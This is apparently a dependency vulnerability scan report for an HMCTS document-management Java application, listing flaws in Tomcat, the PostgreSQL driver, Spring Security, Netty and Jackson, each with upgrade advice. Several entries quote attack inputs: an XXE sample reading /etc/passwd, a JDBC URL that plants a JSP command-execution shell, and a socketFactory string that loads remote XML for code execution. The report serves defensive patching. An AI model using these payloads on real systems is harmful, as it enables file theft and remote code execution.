  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the WebDAV LOCK and PROPFIND XML request bodies. An attacker can cause excessive resource consumption by sending specially crafted requests that trigger unbounded reads.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the client-side SCRAM-SHA-256 authentication. An attacker can cause excessive CPU consumption by specifying a very large PBKDF2 iteration count during authentication attempts from a malicious server. This can lead to exhaustion of client CPU resources and disruption of connection pools.

Workaround

The following measures can reduce exposure:

  • Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

  • Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

  • Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

  • Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

  • On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.postgresql:postgresql to version 42.7.11 or higher.

References

high severity

Access Control Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass in the XML authorization rules processing when the servlet-path attribute is used. An attacker can gain unauthorized access to protected endpoints by crafting requests that bypass intended authorization checks.

Remediation

Upgrade org.springframework.security:spring-security-config to version 7.0.5 or higher.

References

high severity

Access Control Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass in the securityMatchers component when a PathPatternRequestMatcher.Builder bean is used to prepend a servlet path. An attacker can bypass authentication, authorization, and other security controls by crafting requests that are not properly matched to the intended filter chain.

Remediation

Upgrade org.springframework.security:spring-security-config to version 7.0.5 or higher.

References

high severity

Incorrect Authorization

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Incorrect Authorization via the annotation detection mechanism when resolving annotations on methods within type hierarchies that use a parameterized super type with unbounded generics. An attacker can gain unauthorized access to protected resources by invoking methods that should be secured but are not properly checked due to incorrect annotation resolution.

Note: This is only exploitable if the application uses the @EnableMethodSecurity feature and applies security annotations on methods in generic superclasses or generic interfaces.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.4.10, 6.5.4 or higher.

References

high severity

User Impersonation

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to User Impersonation in the SubjectX500PrincipalExtractor component. An attacker can gain unauthorized access to another user's account by presenting a specially crafted X.509 client certificate containing a malformed CN value.

Notes:

  • The SubjectX500PrincipalExtractor component sits behind Spring Security's pre-authentication flow, which assumes the presented credentials have already been validated by a trusted upstream. Exploiting this issue therefore presupposes a compromise of that upstream trust.

  • The fix only addresses SubjectX500PrincipalExtractor and not SubjectDnX509PrincipalExtractor, a deprecated component.

Remediation

Upgrade org.springframework.security:spring-security-web to version 7.0.5 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.13.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The PgSQLXML class used for parsing was found to allow external entities and multiple doc types which could allow XXE attacks.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.13 or higher.

References

high severity

Improper Access Control

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@5.7.12.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Improper Access Control when the application uses AuthenticatedVoter directly and a null authentication parameter is passed to it. Exploiting this vulnerability resulting in an erroneous true return value.

Note

Users are not affected if:

  1. The application does not use AuthenticatedVoter#vote directly.

  2. The application does not pass null to AuthenticatedVoter#vote.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.7.12, 5.8.11, 6.0.10, 6.1.8, 6.2.3 or higher.

References

high severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@5.4.11.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via the RegexRequestMatcher class, which can easily be misconfigured to be bypassed on some servlet containers when it is used with . in the regular expression.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.4.11, 5.5.7, 5.6.4 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Arbitrary Code Injection. DISPUTED

When an arbitrary filename is specified in the loggerFileName connection parameter, a valid JSP file is created and a Remote Code Execution could be performed.

Note: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.

PoC

jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

Remediation

Upgrade org.postgresql:postgresql to version 42.3.3 or higher.

References

high severity

Man-in-the-Middle (MitM)

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.5.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). It was possible to provide an SSL Factory and not check the host name if a host name verifier was not provided to the driver.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. spring-security-core configures Jackson with the global default typing enabled. Although Jackson blacklisted known deserialization gadgets, it is still possible for a malicious user to execute arbitrary code on the following conditions:

  1. Spring Security’s Jackson support is being leveraged by invoking SecurityJackson2Modules.getModules(ClassLoader) or SecurityJackson2Modules.enableDefaultTyping(ObjectMapper)
  2. Jackson is used to deserialize data that is not trusted. Spring Security does not perform deserialization using Jackson, so this is an explicit choice of the user.
  3. There is an unknown (Jackson is not blacklisting it already) “deserialization gadget” that allows code execution present on the classpath

This is related to SNYK-JAVA-COMFASTERXMLJACKSONCORE-31507.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

  • Apache Blog

The vulnerability, also know as Mad Gadget

Mad Gadget is one of the most pernicious vulnerabilities we’ve seen. By merely existing on the Java classpath, seven “gadget” classes in Apache Commons Collections (versions 3.0, 3.1, 3.2, 3.2.1, and 4.0) make object deserialization for the entire JVM process Turing complete with an exec function. Since many business applications use object deserialization to send messages across the network, it would be like hiring a bank teller who was trained to hand over all the money in the vault if asked to do so politely, and then entrusting that teller with the key. The only thing that would keep a bank safe in such a circumstance is that most people wouldn’t consider asking such a question.

  • Google

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.3.RELEASE or higher.

References

high severity

Privilege Escalation

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-oauth2-client@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.4.11.

Overview

Affected versions of this package are vulnerable to Privilege Escalation due to allowing a malicious user or attacker to modify a request initiated by the Client (via the browser) to the Authorization Server. This scenario can happen if the Authorization Server responds with an OAuth2 Access Token response containing an empty scope list on the subsequent request to the token endpoint when trying to obtain the access token.

This vulnerability exposes applications that meet all of the following requirements:

  1. Act in the role of a Login Client (e.g. http.oauth2Login())

  2. Use one or more authorization rules with authorities mapped from authorized scopes (e.g. anyRequest().hasAuthority("SCOPE_message.write")) in the client application

  3. Register an authorization server that responds with empty scopes list (per (RFC 6749, Section 5.1)[https://www.rfc-editor.org/rfc/rfc6749#section-5.1])

This vulnerability does not expose applications that:

  1. Act in the role of a Resource Server only (e.g. http.oauth2ResourceServer())

  2. Use authorization rules with authorities not mapped from authorized scopes (e.g. anyRequest().hasAuthority("ROLE_USER")) in the client application

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 5.4.11, 5.6.9, 5.7.5 or higher.

References

high severity

Improper Authentication

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Improper Authentication. The affected versions support plain text passwords using PlaintextPasswordEncoder. If an application using an affected version of Spring Security is leveraging PlaintextPasswordEncoder and a user has a null encoded password, a malicious user (or attacker) can authenticate using a password of null.

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.13.RELEASE or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: com.fasterxml.jackson.datatype:jackson-datatype-jsr310
  • Introduced through: com.fasterxml.jackson.datatype:jackson-datatype-jsr310@versions.jackson

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.fasterxml.jackson.datatype:jackson-datatype-jsr310@versions.jackson
    Remediation: Upgrade to com.fasterxml.jackson.datatype:jackson-datatype-jsr310@2.9.8.

Overview

com.fasterxml.jackson.datatype:jackson-datatype-jsr310 is a datatype module to make Jackson recognize Java 8 Date & Time API data types (JSR-310).

Affected versions of this package are vulnerable to Improper Input Validation that can cause a Denial of Service (DoS). It appear to be exploitable via the victim deserializes malicious input, specifically very large values in the nanoseconds field of a time value.

Remediation

Upgrade com.fasterxml.jackson.datatype:jackson-datatype-jsr310 to version 2.9.8 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

Remediation

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Authentication Bypass. The strictness of the Spring Security and the Spring Framework request mapping may differ, which could lead to resources not being secured.

Remediation

Upgrade org.springframework.security:spring-security-config to version 4.1.1.RELEASE or higher.

References

high severity

Improper Authorization

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Improper Authorization due to improper validation in the requestMatchers, leading to authorization rule misconfiguration when the application uses requestMatchers(String) and multiple servlets, one of them being Spring MVC’s DispatcherServlet.

Notes:

An application is only vulnerable when all of the following are true:

  1. Spring MVC is on the classpath.

  2. Spring Security is securing more than one servlet in a single application (one of them being Spring MVC’s DispatcherServlet).

  3. The application uses requestMatchers(String) to refer to endpoints that are not Spring MVC endpoints.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.8.5, 6.0.5, 6.1.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass. The strictness of the Spring Security and the Spring Framework request mapping may differ, which could lead to resources not being secured.

Remediation

Upgrade org.springframework.security:spring-security-web to version 4.1.1.RELEASE or higher.

References

high severity

Security Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Security Bypass. It was found that Spring Security does not consider URL path parameters when processing security constraints. By adding a URL path parameter with an encoded / to a request an attacker may be able to bypass a security constraint.

Remediation

Upgrade org.springframework.security:spring-security-web to version 3.2.10.RELEASE, 4.1.4.RELEASE, 4.2.1.RELEASE or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

  1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

  2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

  3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.1.7, 6.2.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-oauth2-client@versions.springSecurity
